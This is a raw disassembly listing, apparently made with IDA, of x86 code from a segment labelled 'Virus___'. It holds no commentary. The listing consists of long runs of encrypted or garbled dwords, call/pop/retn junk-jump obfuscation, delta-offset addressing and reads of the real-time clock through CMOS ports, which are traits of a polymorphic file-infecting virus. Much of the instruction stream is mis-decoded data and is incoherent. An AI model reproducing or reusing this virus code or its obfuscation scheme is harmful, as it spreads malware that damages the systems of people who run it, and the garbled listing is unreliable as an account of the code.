		dd 6A071B2Ah, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 0E0CC351h, 5B7BF4B1h, 0AE9h, 7C883600h
		dd 22523922h, 2B245ABFh, 1BD2BC3h, 31071B2Ah, 1B272D9Dh
		dd 8343D07h, 860F0000h,	53h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 0F7C35646h,	57FC4A36h, 5DBD8B5Fh
		dd 0E9071B1Ch, 2Bh, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 1CC35141h, 0E3FF9922h, 0CDBD8B33h, 8B071B0Dh
		dd 8B5F50C0h, 0C7D88BC3h, 1B2D9585h, 46D79B07h,	51006A5Ah
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 0DE8166FBh, 0C08BCD60h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 4BC35040h, 0FDBD81C4h, 0D0071B2Bh, 0F000007h
		dd 3585h, 0EDBD8B00h, 89071B2Dh, 1B27519Dh, 0FD85FF07h
		dd 6A071B2Bh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 4DB6C352h, 0F7C00186h,	0B5FF2105h
		dd 71B2BFDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	0A9C35141h, 86D2DF96h, 0BF3B7A58h, 0CDA39A5h, 8995FFF5h
		dd 51071B12h, 0CAEBDF81h, 905E54DFh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 0AFC35343h,	80E25FC4h, 94BDCBE7h
		dd 0FE938h, 34690000h, 0F84D68E9h, 7D66C229h, 7E8878A8h
		dd 0B9B58982h, 6A071B1Bh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 7A7CC353h, 0FA08BD57h
		dd 0FBB70F3Ah, 1F3D8D01h, 10E9071Bh
		dd 7B000000h, 936AA256h, 3326198Dh, 66E1FFA7h, 29CC4092h
		dd 1B119195h, 1B58B07h,	6A071B18h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 597DC356h
		dd 8B0F1C8Fh, 3, 6AFA8B66h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 0B6EC353h, 0BEFA8B66h
		dd 40791851h, 53006AF8h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 7F799EDCh, 0FFED7AF2h, 17758D89h
		dd 9E9071Bh, 6AFFFFF8h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 752AC355h, 2D35B1B1h
		dd 8166A036h, 311D4BD7h, 1B332995h, 9EF1BE07h, 0C18B73AAh
		dd 2101B58Bh, 4EB071Bh,	0
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_57A10B
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57A10B	proc near		; CODE XREF: Virus___:0057A103p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_57A10B	endp

; ---------------------------------------------------------------------------
		sbb	edi, [eax-7Bh]
		jge	short loc_57A165
		inc	edi
		xor	al, 0FFh
		aam	8Bh
		mov	ebp, 71B2351h
		push	0
		push	edx
		call	sub_57A135
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57A135	proc near		; CODE XREF: Virus___:0057A12Dp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_57A135	endp

; ---------------------------------------------------------------------------
		db 10h,	57h, 5Eh
		dd 1255858Dh, 6A071Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h
		db 0
; ---------------------------------------------------------------------------


loc_57A165:				; CODE XREF: Virus___:0057A11Ej
		add	[esi+56h], al
		retn
; ---------------------------------------------------------------------------
		db 10h,	92h, 5Ah
; ---------------------------------------------------------------------------
		or	si, 9673h
		jmp	loc_57A188
; ---------------------------------------------------------------------------
		dw 0C548h
		dd 44331D16h, 645BFDE1h, 788433DDh, 87898024h
; ---------------------------------------------------------------------------


loc_57A188:				; CODE XREF: Virus___:0057A171j
		push	eax
		push	esi
		mov	edi, ecx
		pop	esi
		mov	[esp], eax
		push	0
		push	edx
		call	sub_57A19B
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57A19B	proc near		; CODE XREF: Virus___:0057A193p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_57A19B	endp

; ---------------------------------------------------------------------------
		xchg	edi, eax
		add	ebp, [edx+0]
		sub	[ebp+71B0345h],	esi
		push	0
		push	0
		push	ebx
		call	sub_57A1C3
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57A1C3	proc near		; CODE XREF: Virus___:0057A1BBp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_57A1C3	endp

; ---------------------------------------------------------------------------
		rol	dword ptr [esp+eax*2], 1
		pusha
		sub	[ebp+71B2ECDh],	edi
		or	esi, [ebp+71B0D41h]
		lea	eax, [ebp+71EF180h]
		xor	[ebp+71B30B5h],	edx
		add	eax, 5
		push	0
		push	ebx
		call	sub_57A1FD
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57A1FD	proc near		; CODE XREF: Virus___:0057A1F5p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_57A1FD	endp

; ---------------------------------------------------------------------------
		db 0C6h, 69h, 90h
; ---------------------------------------------------------------------------
		jmp	loc_57A226
; ---------------------------------------------------------------------------
		db 49h,	12h, 0Ah
		dd 0DABD0998h, 0E53F11C9h, 7403BB0Fh
		db 22h,	81h
; ---------------------------------------------------------------------------


loc_57A226:				; CODE XREF: Virus___:0057A210j
		push	eax
		nop
		mov	si, 3009h
		push	0
		mov	di, bx
		push	0
		push	0
		push	ecx
		call	sub_57A23E
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57A23E	proc near		; CODE XREF: Virus___:0057A236p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_57A23E	endp

; ---------------------------------------------------------------------------
		dw 8E63h
		dd 4685336Ch, 2B3821E2h, 1B1FE1BDh, 0B1BB6007h,	617F7127h
		dd 1EA995FFh, 0CF81071Bh, 425F4251h, 979C9D8Dh,	6A071Eh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 0FF5EC3C3h, 770F51DEh, 66E2C96Dh, 19EF781h, 12E9D3FFh
		dd 8D000000h, 1A5163F3h, 5BF9836Fh, 9CB0320h, 2C8C9C9Eh
		dd 4D85FF61h, 6A071B26h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 5A0EC353h, 5471490Dh
		dd 8141EEA5h, 2A498D89h, 8BE9071Bh, 0E8000008h,	0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 71EF18Ah
		xor	[ebp+71B1639h],	ecx
		cmp	dword ptr [ebp+71B2BFDh], 7D0h
		jbe	loc_57A48F
		push	0
		push	ebp
		call	sub_57A31C
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57A31C	proc near		; CODE XREF: Virus___:0057A314p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_57A31C	endp

; ---------------------------------------------------------------------------
		lodsb
		aad	38h
		aam	0ACh
		mov	eax, 0B58BC317h
		popa
		adc	al, 1Bh
		pop	es
		mov	ebx, [ebp+71B2B21h]
		push	0
		push	eax
		call	sub_57A34B
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57A34B	proc near		; CODE XREF: Virus___:0057A343p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_57A34B	endp

; ---------------------------------------------------------------------------
		mov	cl, 0EEh
		aad	0F2h
		mov	[eax+66BD4DF7h], bl
		mov	edi, eax
		and	ebx, 100h
		mov	esi, [ebp+71B2E45h]
		or	ebx, ebx
		jnz	loc_57A40F
		mov	[ebp+71B2DC5h],	esi
		cmp	dword ptr [ebp+71EEF92h], 0
		jz	loc_57A3D9
		sub	esi, 517EF04Ah
		jmp	near ptr loc_57A438+7
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_57A3A4
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57A3A4	proc near		; CODE XREF: Virus___:0057A39Cp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_57A3A4	endp

; ---------------------------------------------------------------------------
		dd 0E9378BC8h, 11h, 0FE0F62C5h,	0C2D223ADh, 2DEF8D41h
		dd 5E9C3018h, 0CE816602h, 8E0F9BD0h, 1
; ---------------------------------------------------------------------------
		clc


loc_57A3D9:				; CODE XREF: Virus___:0057A388j
		mov	dword ptr [ebp+71EEF92h], 1
		push	0
		push	esi
		call	sub_57A3EE
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57A3EE	proc near		; CODE XREF: Virus___:0057A3E6p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_57A3EE	endp

; ---------------------------------------------------------------------------
		dw 0AE1Bh
		dd 66D93380h, 183CE81h,	32E9h
		db 0, 8Bh, 0F9h
; ---------------------------------------------------------------------------


loc_57A40F:				; CODE XREF: Virus___:0057A375j
		mov	dword ptr [ebp+71EEF92h], 0
		call	near ptr loc_57A428+1
		dec	esp
		out	97h, eax
		mov	[edx+ecx*8], edi
		enter	0FFFF9D7Bh, 17h


loc_57A428:				; CODE XREF: Virus___:0057A419p
		mov	gs, cx
		sldt	word ptr [eax]
		add	[edx], al
		aam	8Eh
		fistp	word ptr [edx+0E08815Ch]
		xchg	eax, ebp


loc_57A438:				; CODE XREF: Virus___:0057A394j
		imul	ebx, ds:5E8249BCh, 219D8DF8h
		sub	ebx, [ebx]
		pop	es
		push	0
		push	edi
		call	sub_57A450
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57A450	proc near		; CODE XREF: Virus___:0057A448p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_57A450	endp

; ---------------------------------------------------------------------------
		dd 0C1328A9Fh, 5BA30EAEh, 0FF2381F8h, 6AFFFFFEh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 5ABFC355h
; ---------------------------------------------------------------------------
		and	al, 8Bh
		sti


loc_57A48F:				; CODE XREF: Virus___:0057A30Bj
		mov	bx, ds
		push	ebx
		pop	edi
		test	bl, 4
		jz	loc_57A505
		push	0
		push	ecx
		call	sub_57A4A8
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57A4A8	proc near		; CODE XREF: Virus___:0057A4A0p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_57A4A8	endp

; ---------------------------------------------------------------------------
		dd 0EA9F4D99h, 2A9569DDh, 995FFD5h, 0E8071B2Ah,	6, 0EFDD214h
		dd 0BD8B24B0h, 71B2C5Dh, 0BE66905Fh, 905089D0h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 7C35242h, 8957FA8Fh
		dd 1B2821BDh
; ---------------------------------------------------------------------------
		pop	es


loc_57A505:				; CODE XREF: Virus___:0057A497j
		jmp	loc_57A927
; ---------------------------------------------------------------------------
		jmp	loc_57A518
; ---------------------------------------------------------------------------
		pop	es
		and	al, 71h
		test	eax, 0F5924D0Ah
		cli


loc_57A518:				; CODE XREF: Virus___:0057A50Aj
		mov	al, 0
		mov	[ebp+71B3319h],	edi
		out	70h, al		; CMOS Memory:
					; used by real-time clock
		mov	esi, 0BDB066Dh
		in	al, 71h		; CMOS Memory
		pusha
		mov	[ebp+71B0A31h],	ecx
		add	ah, 45h
		popa
		movzx	ebx, al
		push	0
		push	ebx
		call	sub_57A542
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57A542	proc near		; CODE XREF: Virus___:0057A53Ap

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_57A542	endp

; ---------------------------------------------------------------------------
		xor	byte ptr [edi+271DBD8Bh], 1Bh
		pop	es
		mov	edx, 6
		sub	[ebp+71B1461h],	ecx
		mov	eax, ebx
		push	0
		push	esi
		call	sub_57A572
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57A572	proc near		; CODE XREF: Virus___:0057A56Ap

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_57A572	endp

; ---------------------------------------------------------------------------
		cmpsb
		movsd
		push	32B04C59h
		lahf
		mov	[ebp+71B3271h],	edx
		mov	[ebp+71B2FC1h],	ecx
		shr	eax, 4
		push	0
		push	edi
		call	sub_57A5A4
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57A5A4	proc near		; CODE XREF: Virus___:0057A59Cp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_57A5A4	endp

; ---------------------------------------------------------------------------
		dd 7712847Dh, 49D92D96h, 66FE8BC5h, 6AE2F7h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 4F72BBC3h
		dd 9529D82Bh, 71B1EF9h,	150D8D29h, 5093071Bh, 78A5E8BEh
		dd 0BD8B9347h, 71B2E71h, 2BFDB5FFh, 6A071Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 33C131C3h
		dd 276DBD8Bh, 95FF071Bh, 71B1289h, 5E5200B0h, 0F6070E6h
		dd 280h, 8BDE8B00h, 1B21CD9Dh, 71E46107h, 9899589h, 613C071Bh
		dd 2D5830Fh, 6E80000h, 0CC000000h, 8502F5AAh, 0EE9BFh
		dd 0BD530000h, 45FCA02Ch, 0BDC007E0h, 53568A8Bh, 0D8B60F5Fh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 82C35343h
		dd 7E9A528h, 0
		dd 0B31CF4D4h, 10E8230Bh, 0F2000000h, 0B30BA3BEh, 0EF6CCAC8h
		dd 7A780AF2h, 0F9A72B5Bh, 6BA5Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0DC9192C3h
		dd 0A5B69B70h, 4860FB8h, 50000000h, 8B5F5E57h, 53006AC3h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 5ED03CCFh, 0F82E24EEh, 2904E8C1h, 1B21C1B5h,	0E2F76607h
		dd 0E830Fh, 0F600000h, 85h, 99858B00h, 61071B14h, 0BF0FD82Bh
		dd 13E958FBh, 1C000000h, 160E6B0Dh, 0DA41B950h,	1B2CBE45h
		dd 11729D8Ch, 0D82BDD72h, 1D5880Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 18CE6FC3h
		dd 2156A81Bh, 816660E4h, 60C981CFh, 816646B5h, 617537C2h
		dd 0CF816661h, 7B9B228h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0EE7DC356h
		dd 665E7589h, 8344DBBEh, 6A00C1h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 90C8A9C3h, 0DFEC5043h
		dd 5890F68h, 0BE000000h, 5F47B403h, 860FD93Bh, 13Bh, 20EDBD8Bh
		dd 6E8071Bh, 2000000h, 8BC744F9h, 0DDB58B74h, 5E071B24h
		dd 6AD98C66h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 1E97C357h, 0F6DAC40Ch,	840F04C1h
		dd 0D4h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 19h,	99C35242h, 0F1ED4C04h, 5E8E2h, 1DC0000h, 89C4D97Eh
		dd 1B1475B5h, 95FF5E07h, 71B2A09h, 5BF6BF0Fh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0FDC35646h, 6AC32Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 0C11D6CC3h, 2840Fh, 5E500000h, 2B41B589h, 343D071Bh
		dd 0F000008h, 4386h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 0BE9F4h, 6C1F0000h, 2500D9F2h
		dd 529341D0h, 6880FE4h,	23000000h, 1B09D9B5h, 29E907h
		dd 0BD8B0000h, 71B306Dh, 6AC08Bh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 80BF10C3h
		db 9Ah,	33h, 3Ch
; ---------------------------------------------------------------------------


loc_57A927:				; CODE XREF: Virus___:loc_57A505j
		mov	eax, ebx
		mov	ebx, eax
		push	0
		push	esi
		call	sub_57A936
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57A936	proc near		; CODE XREF: Virus___:0057A92Ep

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_57A936	endp

; ---------------------------------------------------------------------------
		push	eax
		test	eax, ebp
		sar	dword ptr [edi+4Ah], 7Bh
		mov	dword ptr [ebp+71B25B9h], 55AA6953h
		mov	esi, 45A53013h
		mov	edi, 240F977Fh
		mov	eax, eax
		push	0
		push	eax
		call	sub_57A96E
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57A96E	proc near		; CODE XREF: Virus___:0057A966p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_57A96E	endp

; ---------------------------------------------------------------------------
		dw 0D1EAh
		dd 0D7A44CADh, 0FE82945h, 42000000h, 8B07218Bh,	6AD79334h
		dd 9EB87DF6h, 0B58BD07Dh, 71B16DDh, 0FDBD815Fh,	0D0071B2Bh
		dd 0F000007h, 1885h, 79952900h,	89071B0Bh, 1B2B5585h, 0FD85FF07h
		dd 29071B2Bh, 1B092595h, 0FDB5FF07h, 6A071B2Bh,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 0CA7BC356h, 327EB85Dh, 6F9C6FADh, 6A6D75BFh,	8995FF28h
		dd 6A071B12h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 0C94EC355h, 90F78B66h,	769CBF66h
		dd 1305B589h, 9589071Bh, 71B04EDh, 16850Fh, 0F600000h
		dd 87h,	81616000h, 0D359B0EEh, 0B5B5896Ah, 61071B2Ah, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 13C35343h, 61B58B26h
		dd 0E8071B30h, 12h, 0B703ECB4h,	9D586F69h, 0FEA92DA6h
		dd 8E298C87h, 0B70F761Ah, 6A5EFEh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 0C29A6DC3h, 8C0F63B9h
		dd 6, 2E919589h, 8B66071Bh, 57006AF8h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 5941D68Bh
		dd 0BF0F82FBh, 68C0FFEh, 8B000000h, 1B2D35BDh, 108C0F07h
		dd 0E9000000h, 0Bh, 0BE70992Dh,	2F65C611h, 0F52E650Fh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 8BC35646h
		dd 0FE866h, 22640000h, 531115D1h, 13EADD45h, 0D520BDFFh
		dd 88F0F54h, 89000000h,	1B1B6D9Dh, 5E616007h, 0FFF7AAE9h
		dd 53006AFFh, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 0D9BD8BA0h, 0E9071B33h, 0Eh, 3058EC7Bh
		dd 0EDCB375Ch, 4646A186h, 0C18B13EDh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 87C35242h, 1DCA3B67h, 7BB53DFh
		dd 61853135h, 0EB071B14h, 4, 10E900h, 2C140000h, 0BE5BBFA9h
		dd 0CAFDF6EAh, 3DDDD60Fh, 0BD8B2CB4h, 71B2E35h,	1255858Dh
		dd 8B66071Bh, 48950F0h,	51006A24h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1404h, 0C3514100h, 6810F0Bh, 8B000000h, 1B1229B5h
		dd 6A006A07h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 0AF12C356h, 205E8AA3h,	0F0EE4ACh
		dd 6AF7B7h, 0ED9D8B60h,	29071B28h, 1B185985h, 8DF96107h
		dd 1EFBF985h, 9E907h, 0A1180000h, 0C3F95BA0h, 83DACFF8h
		dd 669005C0h, 50BC56BFh, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 6AF827h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 17h, 32C35141h, 6AC839D8h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 27B90E24h, 9FAE40A4h, 75BD8905h,	60071B26h
		dd 8D8BCA8Bh, 71B3505h,	0A995FF61h, 6A071B1Eh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 8C79C356h, 820977FBh, 0C2CC99Fh, 4820Fh, 0BE660000h
		dd 0B53369FAh, 71B0355h, 26A2EF81h, 9D8D258Ah, 71E979Ch
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 5DC35545h
		dd 11F0D00Eh, 7D8A4060h, 0BD23D3FFh, 71B18B9h, 264D85FFh
		dd 0E960071Bh, 10h, 3C5073BAh, 0F1498DC3h, 0E8038F06h
		dd 65837B66h, 1B459D29h, 6661071Bh, 0E90284BFh,	8D3h, 0E8h
		dd 0ED815D00h, 71EFC03h, 0F98D01h, 0BD81071Bh, 71B2BFDh
		dd 7D0h, 111860Fh, 8D310000h, 71B1B39h,	8BF88B66h, 1B0A919Dh
		dd 619D8907h, 81071B34h, 100E3h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 8332ECD5h
		dd 61958912h, 0B071B17h, 5C850FDBh, 66000000h, 74F1EE81h
		dd 0FA3FBD83h, 0F00071Eh, 3684h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 119A9250h
		dd 0D4843FEAh, 4EE9FCh,	0E9520000h, 6, 4055B70Fh, 0C75F3A29h
		dd 1EFA3F85h, 107h, 0E95E5700h,	30h, 0C7F1BF0Fh, 1EFA3F85h
		dd 7, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 0BC7C4D7h, 0FCF78B66h, 0A919D8Dh
		dd 0B70F071Bh, 0FF2381F1h, 6AFFFFFEh, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0CCF2C351h
		dd 0EE9h, 265E9800h, 0B47E623Ah, 0CC9F5F17h, 66BE5DC8h
		dd 6ADB8Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 0BAAF13C3h, 0DDBBB19Fh, 0BD31AB30h, 71B3579h
		dd 32FDB501h, 0C3F6071Bh, 9F840F04h, 6A000000h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 3418C351h, 0CDB58B57h, 5F071B30h, 11E9h, 70C29B00h
		dd 0AD47D481h, 26468172h, 0F065D112h, 8D89A1DCh, 71B2809h
		dd 2A0995FFh, 8166071Bh, 507335C6h, 11890Fh, 0BE80000h
		dd 66000000h, 0F9955E39h, 827BB7B5h, 895F25A9h,	6A2404h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 57C56BC3h, 0E9F1B70Fh, 12h, 47429E17h, 6C3EF27Bh, 0AC983703h
		dd 0BC35E67Ch, 88E99CA1h, 3000004h, 1B14E9BDh, 8900B007h
		dd 1B09599Dh, 0E870E607h, 0Bh, 38897B94h, 0C92B5518h, 8B395BE0h
		dd 71E45FFBh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Dh,	3CC35747h, 6A2F5A20h, 97A40C7Eh, 0C681665Ch, 0B60F9ECFh
		dd 499501D8h, 0BA071B04h, 6, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 0B7C35646h,	0C9F86DD4h, 0C38B9187h
		dd 17B5BF66h, 0E904E8C1h, 12h, 0E2EB4B44h, 0C7B42ED4h
		dd 0B7F26A3Bh, 0A4954B5Eh, 0F76654FEh, 55006AE2h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
		dd 0E4E60D79h, 29627E68h, 1B008585h, 0AD9D8907h, 2B071B34h
		dd 53006AD8h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 0BFE44BFFh, 7E993h, 2070000h, 55E828EFh
		dd 0BF6650BBh, 8B9323F9h, 0F6060F3h, 8Eh, 4CA6BA00h, 8B61542Ah
		dd 1B09A18Dh, 0B5FF6107h, 71B2BFDh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 80C35343h, 18A06806h, 0A29CB46Dh
		dd 0DE816628h, 8B665BC8h, 8995FFFAh, 0E8071B12h, 10h, 0F19B81A1h
		dd 0E9E007C0h, 5D8A204Ch, 9D7C59F8h, 5FFA8B66h,	6A00B0h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 4732EC3h, 0FE8B660Eh, 3129BD89h, 70E6071Bh, 6F74D781h
		dd 71E469C9h, 3471BD8Bh, 613C071Bh, 2D9830Fh, 0BD8B0000h
		dd 71B358Dh, 6AD8B60Fh,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 0E317C350h,	94F408Bh
		dd 1B2F3DBDh, 6BA07h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 34E69DC3h, 0F13FBD4Ch
		dd 2719BD01h, 0EE8071Bh, 0B2000000h, 1525EACh, 77271214h
		dd 2B8E2895h, 9D895FA8h, 71B0A21h, 6AC38Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 8B6657C3h
		dd 0EE9F1h, 3590000h, 0F975E2D2h, 83FA23D5h, 480491Ah
		dd 6A04E8C1h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 0CC29C350h, 0FA92332h,	86h, 0E2F76600h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 1DC35343h
		dd 56924018h, 6AD82B5Eh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 0B0DCC352h,	5C374A2h
		dd 0B589AC65h, 71B0351h, 56006A58h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 8E98C7Ah, 5A000000h, 86DEDAA0h
		dd 2BCCFFDCh, 84880FD8h, 0E9000001h, 14h, 937E7B53h, 412C6C41h
		dd 6491CA57h, 0AE2369A3h, 4CE839B8h, 7B9h, 0EE900h, 7F0F0000h
		dd 0FF0B7F88h, 14721E65h, 0E1FEFB75h, 6A00C183h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 30E3C357h, 7CDDCFF1h, 89921221h, 1B35F195h, 0FD93B07h
		dd 11E86h, 0FDB58B00h, 66071B23h, 9E8D98Ch, 10000000h
		dd 71C8C08Ch, 2882C85h,	840Fh, 0F65E0000h, 840F04C1h, 0E1h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 41C35747h
		dd 54A8B9F9h, 0B89BD8Bh, 0E951071Bh, 11h, 2388A375h, 629F15BFh
